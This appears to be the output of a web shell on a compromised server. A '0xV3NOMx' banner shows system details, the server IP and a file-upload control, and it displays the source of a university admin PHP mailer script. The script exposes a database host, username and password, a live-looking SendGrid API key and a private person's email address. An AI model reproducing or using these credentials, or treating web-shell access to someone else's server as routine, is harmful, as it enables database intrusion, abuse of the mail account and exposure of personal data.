0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.117.91.170


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/vskubcollegesendmail.php

<?php

    // $conn = new mysqli("logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com", "admin", "Logi@Unic@#1306", "logisys3_demo");

    // // Check connection
    // if ($conn->connect_error) {
    //     die("Connection failed: " . $conn->connect_error);
    // }

    // $query = "select emailkey from control";
    // $result = mysqli_query($conn, $query);
    // $row = mysqli_fetch_assoc($result);
    // $emailkey = $row['emailkey'];
    // $hashedPassword = base64_decode($emailkey);

    // // SendGrid API key
    $apiKey = "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";
  

    // Email data in JSON format
    $emailData = json_encode([
        "personalizations" => [
            [
                "to" => [
                    ["email" => "shivubelieber7002@gmail.com", "name" => "Shivakumar V"]
                ],
                "subject" => "Hello, World!!!!!!!"
            ]
        ],
        "content" => [
            ["type" => "text/plain", "value" => "Heya!"]
        ],
        "from" => [
            "email" => "support@universitysolutions.in",
            "name" => "universitysolutions"
        ],
        "reply_to" => [
            "email" => "support@universitysolutions.in",
            "name" => "universitysolutions"
        ]
    ]);

    // cURL initialization
    $ch = curl_init();

    // cURL options
    curl_setopt_array($ch, [
        CURLOPT_URL => "https://api.sendgrid.com/v3/mail/send",
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            "Authorization: Bearer $apiKey",
            "Content-Type: application/json"
        ],
        CURLOPT_POSTFIELDS => $emailData
    ]);

    // Execute cURL request
    $response = curl_exec($ch);

    // Check for errors
    if (curl_errno($ch)) {
        echo "cURL error: " . curl_error($ch);
    } else {
        // Get response code
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        echo "Response status code: $httpCode\n";
        echo "Response body: $response\n";
    }

    // Close cURL session
    curl_close($ch);